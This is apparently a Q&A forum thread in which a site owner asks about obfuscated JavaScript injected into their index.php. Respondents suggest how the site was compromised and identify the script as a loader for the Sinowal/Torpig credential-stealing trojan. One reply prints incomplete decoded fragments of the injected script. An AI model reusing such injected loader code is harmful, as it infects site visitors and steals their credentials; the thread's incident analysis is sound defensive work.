Please help me decipher mysterious cryptic code - strangely placed in my index.php

Someone maliciously inserted the following code into my website ahoffmanawning.com. Could this be done via a poorly written form php script? Also more importantly, what is this script doing?

<script language="javascript">
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</script>

To reiterate: Nobody run this in your browser kthx

That is obfuscated javascript code; none of us likely have enough time to decode it for you, but if you don't know how it got there, it is most certainly malicious code that will try to install malware using some browser-vulnerability or another.

As to how it got there: someone got access to your server files.
This could be (in order of likely-hood):

• someone discovered a php vulnerability which gave them access to your file-system
• someone got access to your ftp info
• you have a mailicious coder
• or perhaps there's a vulnerability with the web-server, database, operating system, or some service running on your server.

I would change your FTP password, update every conceivable thing in your system to the latest version, and do a serious look-over of any custom PHP code that accesses the file-system.

[Edit]: From the link given by dth, it appears that code downloads and executes a trojan (virus) called Sinowal.

This trojan attempts to steal different system and account information from the infected machine. Stolen information may be the following:

• IMAP/POP3/SMTP username, passwords, server information from mail clients such as AK-Mail,Thunderbird,TheBat
• Bookmarks
• E-mail addresses from the Windows Address Book
• Passwords and other data stored from FTP clients such as Trellian FTP, WS_FTP, Total Commander, Crystal FTP Pro and GlobalSCAPE

It also monitors web browsers such as Internet Explorer, Firefox, and Mozilla for online banking information

This is what it does. It seems like it starts with just garbage to hide what it does but at the end there is some twitter posting going on I think. Enjoy!

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 (document.cookie.indexOf('rf5f6ds')==-1){function callback(x){window.tw = x;var
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nt.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 hei
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else{$a=''};function sc(cnm,v,ed){var exd=new Date();exd.setDate(exd.getDate()+e
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http://wepawet.cs.ucsb.edu/static/torpig-twitter.html has everything decrypted and analysed for you.

Cheers m8.

Looks like it's getting a list of the trending topics on Twitter. Does that give you any more hints as to how it got there?